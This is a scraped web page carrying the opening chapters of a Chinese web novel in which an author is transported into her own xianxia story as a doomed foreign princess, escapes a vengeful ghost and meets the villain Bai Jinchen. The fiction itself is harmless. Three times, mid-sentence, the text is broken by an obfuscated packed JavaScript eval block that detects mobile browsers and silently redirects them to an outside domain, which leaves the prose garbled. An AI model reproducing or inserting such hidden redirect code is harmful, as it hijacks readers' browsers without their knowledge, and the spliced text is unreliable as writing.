《攻略对象目标是杀她》 1. 『宫闱暗事(1)』 黄昏夕染,窗外院子如同金色的纱幔笼罩其中,所有物件都好像被镀了一层金似的,上空的云也没有幸免。 落日的余晖照在窗前趴桌的女子侧容上,投下了长长的睫毛阴影。少女十六七岁,面上却毫无血色,一副有气出没气进的样子。她身穿白色西域嫁衣,扎着许多小辫子,头发乌黑却略显枯燥,还披着不太干净的白纱。 她抬起头,眼下发黑,贪婪地望着窗外的那扇朱红色大门,手脚不断地发抖。 还有一天,还有一天这该死的封宫就结束了。天呐,可算是熬过来了。 她舔了舔干燥的唇,撑着桌子正准备站起来,却随即痛着趴了下去。 她捂着自己的胃,眉毛绞成一团,十分痛苦。 瞬间,整个人僵坐在那里,眼睛空洞无神,好像没了生息一般。 她的瞳孔涣散,茫然若失。然而涣散的眼瞳又慢慢聚拢,她发出轻咛一声:“嘶,胃好痛。”她捂着胃,眼前视线逐渐清晰。 “这是?” 沈砚顾不上胃疼,艰难地撑着地板站起来,环视了四周,房间不大,都是用木头建筑的,散发着腐朽的木制腐味,只有张床和梳妆台,古色古香。 【叮咚!宿主您的系统已上线,欢迎来到《师徒的那些事儿》世界中,您的任务是插入反派白瑾宸的感情线,收到请回复1】 沈砚大脑里突然出现一个机械的声音,她怔在原地,《师徒的那些事儿》不是她写的仙侠恋爱小说吗?她穿书里了? 还有感情线又是怎么一回事? 她想起这本书刚完结时,读者也为了这位反派要求她给他插入感情线,还闹了好一会。但沈砚一直都是咸鱼体质,让她在写完的书里面加入添加感情线,真的是强人所难,于是她就在评论安抚了读者几句,也没有加的打算,可怎么一觉睡醒到这里了? 【宿主,这边查询到你肉身已死,如果你能完成任务,你就能回到现实世界。】系统听到她的心声,解释道。 她已经死了?沈砚一时半会还不能接受。 过了半晌,她扶了扶额,算了,完成任务能重生回家就行。 “好吧,那你说说我该怎么做?”沈砚妥协,无奈问系统。 但听系统告诉她: 【宿主首先要通过初级考核:活过这晚。待系统考核之后方能派发具体任务。】 活过这晚? 沈砚看到了镜子中的自己,大眼睛,瓜子脸,好好一个艳丽型美女却脸色苍白,眼窝深陷,四肢纤细干瘪,像被抽走力气的骨架,随时能支离破碎。 她吓了一跳,这是书里的哪号人物,她怎么没见过? 房间里的门是紧闭的,沈砚用手目测了一下窗户的高度,干净利落地翻身跳到院子里。 院子里只有一颗光秃秃的参天大树。 沈砚擦了擦额上流下来的汗珠,明明是大热天,怎么这棵树一个树叶也没有了?她蹑手蹑脚地走近拍了拍树干,是寻常的罗汉松,没有什么特别的。 莫不是人为采摘?谁会爬上去把所有树叶都摘光?沈砚拍了拍自己的脑子,阻止了这个愚蠢的想法诞生。 然而她转过身去,就看到了四五个宫女太监坐在台阶上吃着小片小片绿油油的树叶,身边还放着几个大钳子。 ?! 眼前的这一幕,完全超出了她的常识。 那宫女太监看到她直勾勾的眼神,生怕她抢走了一样连忙将树叶往自己衣袖里藏了藏。走到她面前点头哈腰道:“公主殿下安好。” “嗯……”沈砚看着这几位奇装异服的人,退后了几步。本来是打算挠一挠头想想怎么回答,结果被粗制滥造的纱布狠狠地扎了一把。她忍痛缩了缩手,扯出一张笑脸:“好,好,你们都好。” 几个宫女太监各自看了看对方,怎么这晓朝公主忽然脾气这么好?传闻她刁蛮任性,刚来就划伤了丽妃娘娘的脸,害得他们这些分配到一起的人和她受苦。他们畏畏缩缩都退后了几步,全部低着头看着地面上厚厚的尘灰,生怕公主看到他们似的。 过了好一会,都没有动静。 悄悄抬起头,公主竟是走了? 另一边,沈砚顺了一口气。 吃树叶,宫门紧闭,这一看就是锁宫十日的剧情。这个剧情不就是炮灰女n号晓姒公主在经历的副本吗? 这本书是一节一节来的,她现在处在第三个副本。副本的起因是李朝皇宫常有女子在夜里被邪祟所杀,死状惨烈,男主曲卓然、女主林思黎和反派白瑾宸在李朝皇室的委托下前来皇宫除祟。与此同时,沈砚作为小国派来和亲的公主也进入了皇宫,据说是因为刮花了宠妃的脸引皇上震怒,被罚锁宫十日。 锁宫,顾名思义就是将宫殿从外面锁上,不给粮食和水,在里面度过十日。正常人很难活下来,原主挺到了第九天,然而最后却是被魑妖所杀。 魑妖是这个副本里的大BOSS,由鬼的怨气形成的实体,虽是怨气汇聚而成的,但是妖体不会记得怨气何来,混混沌沌地过日子。当她记起往事时则会引渡到忘川,重新投胎。 夜幕降临,整个天都是乌云,没有月亮和星星照明,显得宫中格外阴沉恐怖。 沈砚看着这不太妙的天气,急忙抓了一个宫女问道:“今天是锁宫的第几天了?” 那宫女喜色一露,沈砚心中顿时也不太妙了:“第九日,明天公主就可以出去了。” 第九日,晓姒公主与魑妖死亡贴贴!!难怪系统说什么活过今晚才给她派发任务,感情她在原著里这个时候就下线了。 她就说小说里的天气不好,肯定是为了衬托些什么。这下好了,沈砚望了望即将下一场大雨的天空,心中微微一沉。 原著里原主在这一夜就被杀了,而男女主要第二天才能赶到,也就是说自己熬过这一夜才能见到他们。那么,该怎么在男女主来到之前保命呢? 风刮得猛,大雨也是扑面而来,让人毫无防备。夏雷滚滚,隔几秒一次响雷,似是在怒吼咆哮。 房中仅有小小的烛台,昏黄的光照着沈砚西域美人特有的浓眉大眼,柔和了不少。 沈砚用蓝色发带将头发按照男子发饰盘了起来,身上穿的也是从杂物间里面翻出来的男装,灰蒙蒙的,颜色不大好看。 可是就这一套下来,一七零的个子,不知道的,还以为是偷偷装扮离家出走的俊公子。沈砚对自己的造型十分满意。 毕竟她可是作者,这魑妖最是厌恶姑娘。所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068581|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以保命第一招:扮!男!人! “刷刷刷……”那是雨水斜打着外墙的声音,窗户正好与雨水方向相对,冷不丁窗户旁的地面上一大摊的水。沈砚擦了擦飞溅到脸上的雨水,抬手将窗户关的严严实实的,屋子瞬间也安静了不少。 她坐在床上靠着墙,拥着有些发霉的褥子,心中不由叹息,若是她有些仙根的话,也许可以与妖怪抵抗一二。 而且或许可以加入主角团!沈砚眸光一亮,那样就可以接近目标对象了。 静谧时分,沈砚才能好好回想白瑾宸这个角色。 书里只有事业线的大反派一枚。他是魔族的魔君,为了拿到开启荒灵山的钥匙,常年卧底在轩辕门派当男主曲卓然的大弟子。由于其外貌英挺张扬,阳光开朗,在门派中饱受欢迎,拥有众多的迷弟迷妹。 但这位实际上就是个影帝,他在魔族能站稳脚跟全靠他杀人不眨眼,冷漠无情的本事,一向遵循着“只要我幸福,别人什么下场都可以”的原则,阳光开朗可和他搭不上边哦。 可就是这样一个事业心极强的反派,本来也应该潇潇洒洒地死去。沈砚却脑抽打了一句话: 【“无人爱我。”白瑾宸口中溢血,轻笑出声。】 于是自他战死后,有许多读者跑到评论底下去问能不能给他加个感情线,沈砚不堪其扰,想将白瑾宸这句话删去,却又不知道为何没删。 但沈砚至今认为没有给他加感情戏的必要,因为白瑾宸前期凭靠高情商长得帅收获了一众的迷弟迷妹,已经是妥妥的万人迷了。他收的女弟子那是比后宫的还多还漂亮,各有各的特点,一口的瑾宸哥哥叫得亲热,就连女主也曾对他暗生情愫。这难道不比有感情线好? 而且人家年纪轻轻就是魔君,平时还要分身到仙门当卧底,日理万机,哪有时间谈恋爱呀! 这“万人迷”的感情线可不是那么好拯救的。沈砚喟叹一声,摇了摇头。 还是保命要紧。 烛台放在床前,蜡烛已经燃到了一半,蜡液不断往下流,不一会又凝固了。 亥时一到,婴灵的声音便响遍了整间屋殿。虽是意料之中,但沈砚还是生理反应的抖了抖。不止一个婴灵,像是成千上万的婴儿在时笑时哭,空灵稚嫩的童音在这漆黑的夜里显得格外的可怖。 “娘,娘……”那是孩童的牙牙学语,却像是被专门软件处理了一般,声音渺远却又似乎近在耳旁,令人毛骨悚然。 沈砚活了二十年了,都还没有见过这等场面。 一团浓浓乌气从天而落,像水花一样四处绽开。蜡烛熄灭了,还残留着一条徐徐的白烟,让本就漆黑的房间更加阴沉下来。 沈砚静静地搂着被子,警惕盯着前方的空地。 空气安静得连自己的呼吸打在被子上的声音都能听见。门外却忽然响起一阵有节奏的敲门声:“砰、砰、砰,砰、砰、砰……” 沈砚没有搭理,敲了好一阵子,门外又响起一道机械般的女声:“公主、公主,快开门,快……” 沈砚没回,觉得自己挺悲催的。自己只顾着描写男女主,这个剧情直接一笔带过了,所以究竟会发生什么,她自己也不知道。 门外的宫女是不是人还不一定呢。 2. 『宫闱暗事(2)』 小师妹林思黎在书案前给师父曲卓然和师兄白瑾宸做荷包。 纤细的指尖绕啊绕,转眼间一朵艳丽的牡丹花就如栩如生,漂亮极了。 牡丹,富贵者也。虽说他们是修仙门派,不沾钱欲,但是这牡丹衬着师兄甚好,开的肆意,万人共赏。 林思黎脑海里浮现出翩翩公子的身影,脸不禁微红。 身后忽然响起师尊严肃却又藏着一点虚弱的声音:“小黎在做什么?” 林思黎回过头,扬了扬手中绚丽的荷包,小小的笑窝格外的明显:“前些日子瞧着师父的荷包有些旧了,便想着做一个送给师父!现在还是个半成品呢,做好了就给您。” 白衣公子半卧在床上拿着一卷竹简,看着二十多岁。面上气色不太好,眉眼间皆是淡漠,听到她这一句,眸光才微微一动。 他嗯了一声,语气淡淡道:“方才,本尊感受到了一丝魔气在东南方向,却也只是一点。” 林思黎早就转过头去,正拿新的红线小心翼翼的穿过针孔,压根没有听到他在说什么。下一秒白嫩的手就被重重的书卷砸了砸—— “嘶-好痛!”林思黎立马丢下针线,捂着自己大片发红的右手,怒气冲冲得跑到白衣公子面前给他看自己的手:“师父!痛死啦!您能不能把你那坏毛病改改?你看我的手都快肿了。” 曲卓然看了一眼她有些红肿的手,低声叹道:“你若是能把那三心二意改了,也不至于连御剑逃跑都不会。” 林思黎捂着手愤愤地盯着他,委屈地走回书案前:“那不是还有师兄吗?师兄每次都带着我御剑飞行,他仙术这么厉害,定能护我周全。” 曲卓然听到这话,眼底一暗,也没有说些什么。 接着伴随着推门而入,一道清朗的笑声传入室内:“小师妹可是在说师兄我?” 来人蓝衣水杉,三千青丝用玉兰白冠高高束起,腰间配着一柄古朴长剑,手里提着两壶酒和几袋花生米,显得肆意。这位少年桃花眼微微上扬,额前的头发微微挡住了眉,却难掩绝色。 林思黎方才还委屈巴巴的样子,如今见了白瑾宸,不禁对他扬起笑容:“师兄,你终于回来啦,怎么去了这么久?” 白瑾宸随意地将手里的东西丢到林思黎的书案上,对着塌上的曲卓然深深一揖:“师父。” 曲卓然微微点了点头,目光专注地继续看着手中的书卷,耳边却传来白瑾宸对林思黎的笑话:“怎么,才这么一会就想师兄了?哈哈哈哈哈你别掐我,你看你脸都气红了……” 曲卓然定了定心神。 “轩辕门派闻名天下,皇帝却似乎也不太欢迎。李公公也只告诉了一些细枝末节,问其他的宫人也都是支支吾吾的,好像有什么事瞒着我们。本来以为这件事很好办,现在却连线索都没有,师父身上还有伤呢,这该如何是好?”林思黎有些愁眉苦脸。 三个人围着一张桌子论事,曲卓然脸色依旧不好,却是强撑着脑袋将茶杯放下:“为师不碍事。” 他们是游历至此,看到了皇宫张贴的除祟公告,说是皇宫有邪祟杀人,请能人异士前往皇宫除祟,三人本着济世安民的初心揭榜到了皇宫。他们从宫女那得知,近半年来,皇宫邪祟没有规律地去杀害陌生女子,死了五六个,尸身的颈部都有明显掐痕,面部青紫肿胀,造成了后宫的恐慌。还听说邪祟出时必随婴儿哭声,扰得众人不得安宁。 “婴儿声?可这宫里哪里有孩子?”林思黎撑着下巴,问道。 曲卓然点了点头:“没错,皇帝如今已过不惑之年,身体也无恙,皇嗣却都在几年前因各种意外死去,没有一个留下来。” “啊,那皇帝没有彻查吗?”林思黎疑惑,却没等曲卓然回答,突然说出:“皇上是不是在瞒着什么?” 一阵沉默。 这个说法很合理。宫里频频死人,夜里还有婴儿的哭声,人心惶惶下,皇帝碍于后宫朝廷百姓的压力,贴出了不想贴的除祟昭示,本想着随便草草了事,结果却不小心请出了他们这尊大佛,难怪皇帝连脸色都不愿意给他们。 与皇帝有关的,那会是什么呢…… 白瑾宸胳膊肘撑着桌子,白洁的手背贴着太阳穴,神色慵懒。刚沐浴了一番,换了一件淡蓝色的衣衫,湖蓝色的流苏吊在襟前,眼中有几许玩味:“有趣。查了,又是得罪皇帝。不查,咱们这次怕是要丢门派的脸咯。” 林思黎不觉点点头,手摇了摇白瑾宸的衣袖:“方才师父说感受到了魔气,师兄可曾感受到?这次怕不是与魔族之人扯上关系?” 白瑾宸没有直接答话,而是看着曲卓然摆出一副疑惑求解的模样:“魔气?” 曲卓然又给自己倒了一杯茶,热气晕染着他的眉眼,显得有些不大真实:“是了,今晚还是去看看吧。” “咯咯咯咯咯……”她的笑声宛如一道长刃划过黑夜,阴森恐怖。 “公主殿下,不开门……我可就进来了……”门吱呀一声,被暴力打开了,沈砚在床上抬起头,看到漏着风的门缝中踏进来了一只穿着粉红色宫鞋的脚,她一惊,和她今天看到的宫女穿得一模一样。 “嗒嗒。”有东西进来了,看样子像是白天见到的宫女,从沈砚这个视角看,也能看到她的身子僵硬,月光照在她惨白的手脚上,瘆人。 不像是活人。 那“宫女”却没有靠近,而是虚虚站在门口,像一个毫无声息的假人,只是黑洞洞的眼珠直直盯着沈砚,慢慢开口,声音如寒冰阴凉:“公主为何不开门?” 沈砚擦了擦额头的冷汗,尽量让自己声线平稳下来:“我没听见,也不是什么公主。” 那“宫女”也不知听见了没有,她的声音没有调调,面无表情说着:“你没有给我开门,我死了。你下来陪我吧。” 来了来了,沈砚暗道不好,直接翻身下了床。同一时间一道红光闪过,床瞬间四分五裂,扬起了一阵尘雾。 沈砚堪堪立在床旁边,心中有些后怕。余光却扫到门口,那“宫女”缓缓倒下,而她身后,出现了个红衣女人。 魑妖来了! 沈砚鼓起勇气,才没有扭头逃走。她定定地站在床前,还没看清人脸,就笑着问她:“可是兰贵妃?”如果忽略掉背后颤抖的手和脸上有些僵硬的笑容,那还算是演技精湛了。 魑妖的神志大多处于不清醒的状态下,难以分辨现在是什么年份,也难以分辨她是否女扮男装。她现在是装扮成男人,魑妖会发现自己并非是要杀的人。 果不其然,魑妖微微顿住。 沈砚趁机仔细地打量她:脚下虚无,靠着一团黑气移动。穿着破破烂烂的红衣,衣服似乎是被火烧破的,破洞旁边都是黑了一片,看起来十分凄惨。再往上看,却是一副魅惑人心的容颜,眼角红红的,目光却木然。 这么一段时间,沈砚已经想到了一个办法,她不仅要扮男人,她还要扮太监! “贵妃娘娘。”沈砚朝她微微点了点头。 魑妖眼中闪过一丝迷茫,也不上前,就立在门槛上。她有些警惕的问道:“你叫我什么?” 很好,想必魑妖没有见到女人,暂时没有发疯。 魑妖为自己是谁而困惑,但沈砚可谓心知肚明。 魑妖没有对自己发起攻击,大概是因为好奇自己为何知晓她的身份。眼下自己虽弱小,却也尚存一线生机。 "娘娘,"沈砚朝魑妖做了个揖,学着太监尖着嗓子说:“陛下派杂家来传唤娘娘,陛下在太和殿等您一叙。” 听到陛下,魑妖几乎是身子一颤,瞪着双眼,问沈砚:“陛下?他找本宫?” 此陛下非彼陛下,魑妖神志不清,同她说的陛下就是指她当年的丈夫。魑妖为什么会变成这样,和她的丈夫也脱不了关系,怨气也有爱而不得的一部分。 沈砚听出魑妖语气的不同,连忙趁热打铁:“是呀,陛下同杂家说想您了,让您现在就过去。” “陛下...”魑妖喃喃着,似乎好久没有叫过这两个字,有些生疏了。 她低着脑袋,死死攥着自己的血红色衣袖,好像在抉择些什么。 沈砚紧张地看着陷入思考的魑妖,心里止不住地祈祷:快走快走,快去找莫须有的陛下,别在她这里待着了。 如果魑妖没被骗过去,她就会和原著所有被害死的女子一般了无生息,也再也没有回家的机会了。 似乎是上天听到了沈砚的祷告,魑妖停顿了一下,她神色恍惚,患得患失地转身出去了,将门弄得咯吱咯吱响,留下了一地的冰霜。 沈砚蹑手蹑脚地走到门口,攀着门悄悄露出一双眼睛。四周黑得没边,虽然风还在呼呼地刮,但总算没有那抹红色的身影和诡异的婴儿哭声了。 沈砚舒了口气,正要关上房门,却发现房门被魑妖暴力破坏掉了,没办法正常关门。她叹了口气,怎么个事呢。 沈砚环顾四周,只有一个梳妆台完好无损。她认命地走到窗前,将年久失修的梳妆台一点点地挪过去,好在窗户虽然关上了,但还是有灯火从窗纸透出来。 她将梳妆台推到门后,将门关得严严实实。沈砚还不放心,将四分五裂的床板也放在门后挡门。 好一会功夫,沈砚才放心地用被子铺在地上,准备睡一觉。等到明天一早男女主就会来这里,到时候就能见见她心心念念的女儿女婿了,她就说为什么每一个穿书者都要去抱紧男女主大腿呢,遇到今天这种情况,如果不是她脑子转的快,早就交代在这了。如果男女主在这,自己的安全肯定有保障。 沈砚随便一躺,过了一会就觉得空气燥热得很,大夏天的躺在棉被上,能不热吗? 她侧头听了听外面的雨声,没声了。 雨停了,她可以开窗透透气了。 沈砚正要站起来去开窗,却看到地上一片明亮的月光,她的嘴角还保持着笑到一般的弧度,却像被瞬间浇铸进了冰窟。 她看向窗户,原本好好关上的窗,不知何时大大地打开了。 风吹得窗户吱呀吱呀地响,好像厉鬼在悲痛中呻吟,凄凄惨惨。 沈砚几乎不会呼吸了,寒冰刺骨的感觉从脚底板噌的一下向全身蔓延开来。 于此开始,有东西轻抚她后背,女人轻飘飘的幽怨声近得好像趴在她肩头上讲话:“你骗我,陛下从来就不会想我。” 沈砚猛地弹开,只见方才站的地方立着浑身散发怨气的妖人,她涂满红蔻的长甲扬起,这分明是刚刚碰她后背的物什。 如果她刚刚没躲开,恐怕已经被开膛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068582|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破肚了。 “你骗我,你骗我......”魑妖仿佛陷入了魔怔之中,陡然大笑:“哈哈哈哈哈哈!你们都在骗我,都在骗我!” “我要你们不得好死!”魑妖咬牙切齿地朝沈砚扑来,沈砚急急一避,锋利的指甲堪堪划开了沈砚的发带,断了沈砚几缕发丝。 糟了!沈砚急忙抓住自己的发髻,却早已无济于事。 青丝散开,明眼人都能看出她是女子。 果不其然,魑妖歪着头,阴恻恻地看着她。 “是你!”魑妖切切叫道,“王云!我要杀了你!” 王云是谁?沈砚来不及思考,因为魑妖说完明显更疯颠了,怨气一阵一阵地袭来。 沈砚随手将旁边的什么花瓶、首饰盒统统丢向魑妖,边躲边扔。 她刚想冲出房间,却被魑妖堵了个正着! “还想跑!若不是你,陛下怎么会对我不管不顾?看我毁了你这张脸,陛下还会不会喜欢你!”魑妖狞笑着拦在她面前。 她流着猩红的血泪,面目狰狞地伸着长甲刺向少女的脸庞。 沈砚往地上一蹲,堪堪躲过,她急得大叫:“我不是王云!你冷静一些!” 可魑妖早就在仇恨中迷失自我了,哪里听得进去,往地上一捞,长甲紧紧扣住沈砚的脖颈。 “王云,你终于要死在我面前了!”魑妖满脸是血,离沈砚越来越近,长甲不断地收拢,沈砚的脸被她掐得越来越紫。 沈砚抓住魑妖握着她脖颈的手,想拉开魑妖的十指,然而却纹丝不动。 她知道魑妖只要指尖轻轻一扎,她脖子上的大动脉就会被划开,就真的是回天乏术了。 魑妖的手慢慢收紧,沈砚越是痛苦,她的笑容就越是灿烂,欣赏着她濒死的模样。 随着脖子的痛楚,沈砚的眼前景象愈来愈模糊。 不是吧,她真的要死在书里了,好歹让她见一下男女主啊! 被笔下创作的人物杀死,沈砚,你可谓是千古第一人...... 就在沈砚意识濒临死亡时,一声尖锐的剑鸣声拔鞘而来—— 沈砚脖颈一松,竟是那魑妖放开了她,不知和谁打斗了起来。 她全身无力地瘫坐在地上,捂着胸口,视线勉强聚焦在打斗的人身上。 那抹淡蓝色的身影风驰电掣,剑光如匹练翻飞,招式疾如闪电,两人身形如游龙缠斗,剑锋划破空气的锐响与金属碰撞的铿锵声此起彼伏。 周边的梳妆台、木床全被戾气冲击得支离破碎,天地间好似只有这里是动态的。 干净的灵气和浑浊的怨气缠绕在一起,接触间将室内搅得翻云覆雨,四处都迸溅着火花。 蓝衣青年身如游龙,魑妖刺向他的长甲屡屡避开,而他刺向魑妖的剑气在魑妖身上划开了无数细小的伤口。 最终魑妖隐隐败于下风,终是丢盔弃甲,从窗户飞身出去,愤愤地对地上的沈砚喊道:“王云,我不会放过你的!”随后落荒而逃。 世界瞬间安静下来,不知何时天早已蒙蒙亮,室内景象一览无余。 “你没事吧?”刚打斗完的蓝衣青年微喘着气,一手握着剑柄,一手伸向瘫坐在地上的沈砚。 青年身姿挺拔如松,风姿特秀,光线打在他身上像是艺术品的闪彩。头冠白玉,鼻梁高挺,一双波光潋滟的桃花眼微微上挑望着她。 沈砚看着眼前这个十八九岁,剑眉星目的大帅哥陷入了沉思,长得这么鬼斧神工,是男主吗? 不对,男主怎么说也有二十五岁...... “师兄!”一个粉衣女子跑了进来,看到沈砚愣了两秒,“这位是?” 沈砚眸光一亮,也不管恩人是谁了,目不转睛地看着眼前的萌妹。少女肤色冷白,一双圆润无辜的猫猫眼,脸上还有着些许婴儿肥,灵动而又美丽。 好漂亮!她可以谁都不认识,唯独不能不认识自己的女主宝宝林思黎啊! 沈砚疑似肾上激素飙升,撑着地板就站起来了,有些兴奋地向林思黎伸出手:“你好!我叫沈砚,是晓国来的公主。” 林思黎有些受宠若惊,不过也是个自来熟的性子,嘻嘻握着她的手,笑道:“公主好!我叫林思黎,是轩辕门派的弟子。” “阿黎,里面处理得如何?为师在外面遇到了几个快饿死的人。”窗外有干净如清泉的声音入耳,沈砚耳朵一竖,是女主的师尊曲卓然,她笔下仙风道骨的男主。 “来了!”林思黎小跑出去找师尊,沈砚也想见见男主长什么样,准备跟出去。 却在跨出门坎之际,胡来一阵妖风把她绊倒在地。 好一个平地摔!都不知道这次是第几次坐在地上了,今天出门是没看黄历吗? 沈砚吐槽着准备站起来,却有人先她一步向她伸出手。 是方才那位帅哥,他桃花眼弯弯,笑着将她从地上扶起来,随意问她:“贵人名讳中的砚可是文房四宝之一?” “是啊,恩人是?”虽然他是笑着问她,但不知怎的,沈砚被他盯着心里毛毛的。 “我叫白瑾宸。”他笑得纵然阳光,沈砚却心里一凉。 【叮咚!宿主您的初级任务已完成!您的任务是插入白瑾宸的感情线,收到请回复1】 3. 『宫闱暗事(3)』 白瑾宸,这个名字对沈砚来说可谓是如雷贯耳。本来只是一个为主角创作出来的反派,却因他死前一句“无人爱我”,读者连夜督促她给他加个感情线。 长得确实是小师妹会喜欢的那挂,185的身高,宽肩窄腰,眉如墨画眼若明星,看狗都深情。啧,就是疑心病有点重。 沈砚吃着手里的馒头,余光扫着倚在树旁的青年。就像现在她也什么都没做,白瑾宸也老是盯着她,总感觉是在怀疑她......他是在疑心自己为什么能在魑妖手下苟到他们来吧? “晓姒公主,”曲卓然刚给宫女们发完干粮,翩翩入座在石桌前,询问沈砚:“你可知魑妖为何会攻击你?”经过刚刚白瑾宸的汇报,他们已经确定了是魑妖在皇宫里作祟。 她当然知道啦,沈砚心想,她现在主要是作为一个工具人的存在,只能说自己看到的事情。 沈砚面露犹豫之色,但还是点了点头:“这还要从十天前说起......” 十天前,原主初到皇宫,因不懂中原规矩在夜里到处乱逛,没想到竟然发现了一个大秘密。在自家宫殿的旁边有一个没有妃嫔住的芙蓉宫偏殿,夜里却亮起了烛火,原主好奇去查看,却发现皇帝供奉一只鬼,嘴里念叨着什么长生之类的话。 原主吓了一跳,本想悄悄离开,却被皇帝的暗卫抓了个正着。 皇帝勃然大怒,以她忮忌宠妃划伤她的脸为由,将她关在宫殿里锁宫十日。 第九日夜晚,她首先是听到了婴儿的哭声,然后就见到了魑妖,随后的事大家也都知道了。 “啊?你可是来和亲的公主,怎么能这样对你?”林思黎支着下巴蹲在沈砚前面望着她。眼里流露着同情。 沈砚长叹一口气:“可不是,陛下宁愿损害两国情谊也要守住这个秘密。” 原主出身于西域小国,本来皇帝就不在乎,如今她被罚如此酷刑,也没见娘家人传什么话进宫来,可见原主在娘家也并非受宠。 “也就是说,无论你有没有挺过着十日,都是要死的。要么是饿死,要么是被魑妖杀死。” 白瑾宸从树荫下走出来,晨曦打在他的白玉冠上发出柔和通透的光,光影在他额间投下细碎的泠光,映得那双朗目愈发清亮,仿佛有星子坠在眼底。他唇边噙着若有若无的笑意看着他们,像将整个清晨的明媚都拢在了身上。 如果沈砚不了解他,真的会以为他只是一个霁月光风的侠士。 沈砚别开了眼,故作伤心道:“是啊,我知晓了陛下的秘密,想必昨夜的妖怪也是他叫来的。唉,或许今日便是我的死期。” “别害怕,我们是轩辕门派的人,我们保护你!”林思黎拉住她的手,安慰之余不忘叫白瑾宸:“你说是吧?师兄。” “那是自然。”白瑾宸不予置否,“若贵人实在无处可去,也可以拜入轩辕门派。” 沈砚汗颜,拜进去和你那10086个徒弟共事嘛…… “嘭嘭嘭!”宫殿大门被人敲响,紧接着有开锁的声音。 门开了,一个掌事嬷嬷领着一众宫女进来,见到院子里的众人愣了愣。 “你们是?”她扫了所有人一圈,目光落到了仙风道骨,最有老大气质的曲卓然身上。 “我等轩辕门下前来皇宫除祟。昨夜在公主殿中发现了邪祟的踪迹,正要带公主去禀报陛下。”曲卓然站起身,不紧不慢地向嬷嬷作揖。 果不其然,嬷嬷看到了坐在一旁穿着脏兮兮的男装,红着眼眶低头小声泣诉的沈砚。 嬷嬷冲这一行人谄媚笑笑:“老身也是来接晓姒公主去觐见陛下的,只是殿下身上脏晦,要先沐浴一番才好见圣容,麻烦诸位避一避。” 沈砚听了也没什么意见,总不可能穿着快馊掉的衣服去面圣吧。只是经过昨夜,本该死在昨天的公主活了下来,今日难免不会有什么差错。 她就怕这些人是皇帝担心自己没死派过来查看的,搞不好狗皇帝叮嘱这些人在沐浴时勒死她也不好说。 沈砚作为十级甄嬛传爱好者,难免不会有些担忧。 林思黎似乎看出了沈砚的顾虑,悄悄用口语对沈砚说:“没关系,我让师兄到屋顶去看着你。” 沈砚:...... 大可不必,谢谢! 沈砚随着宫女离开,途中还在思考自己这个宝贝女儿为什么不自己保护她。 哦,林思黎前期和自己一样是战五渣,到后期才厉害起来的。 水雾弥漫中,重重纬纱里。 少女泡在水池边,微褪里衣,露出了白净的肩头。 她双眼舒服地闭起,姣好的容颜在雾气中愈发美艳,些许栗色的长发被水汽沾湿,服服帖帖地挡住了少女精致的锁骨,这般看着倒真有几分西域美人味道。 水池上的两个宫女轻轻地揉捏着她的肩膀,漫不经心地四处张望着。 似乎得到什么指示,二位交流眼神后,宫女从袖口抽出一把锋利的匕首,直直向少女脆弱的脖颈刺去—— “你们要杀我,为何不想想自己的项上人头?”沈砚不知何时睁开眼,以迅雷不及掩耳之势抓住了匕首。 “你什么意思?”宫女惊疑不定地看着她。 当然是糊弄你们啦,沈砚心里吐槽,突然把她肩膀捏得那么痛,是不是太紧张了没把握好力度? “轩辕门派的人并未走远,若你们杀了我,他们必定取尔等性命。”少女表情冷然,全然不似开玩笑。吐槽归吐槽,沈砚还是非常珍惜自己的这条小命的,关键时刻装一下。 “别给自己贴金了,”嬷嬷闻声从外面走进来,语气不屑,“轩辕门派的人也不能随意在皇宫杀人,你在他们面前算什么?小翠,继续!” 叫小翠的宫女得令,手上又加了几分力度,竟要挣脱沈砚的束缚,顿时平静的水面变得水花乱溅。 沈砚却不慌不忙,面上冷静自若地对嬷嬷说:“只有邪祟才会无故杀人,你们杀了我,不就是邪祟附体吗?” “杀邪祟,是轩辕仙长义不容辞的责任。” 沈砚冲嬷嬷微微一笑,语气决绝。 那嬷嬷听到沈砚这么肯定的语气,面上不觉多了几分思忖。 沈砚因势利导,又继续道:“今日轩辕门派在场你我都未料到,何不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068583|179248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各退一步,你主子也不会责怪你。” ... 白瑾宸懒懒地半倚坐在屋顶上,听完了沈砚这些威胁人的话术,散漫轻笑,笑意不达眼底。 “看呀,这女人多有心机手段,啧啧。”一个并不属于白瑾宸,尖酸刻薄的声音在白瑾宸的意识海里响起。 “魔君,您可不要对她手软啊,您知道的,她对您可从未心软过......”它咯咯地笑着,似乎已经想好了沈砚凄惨的下场。 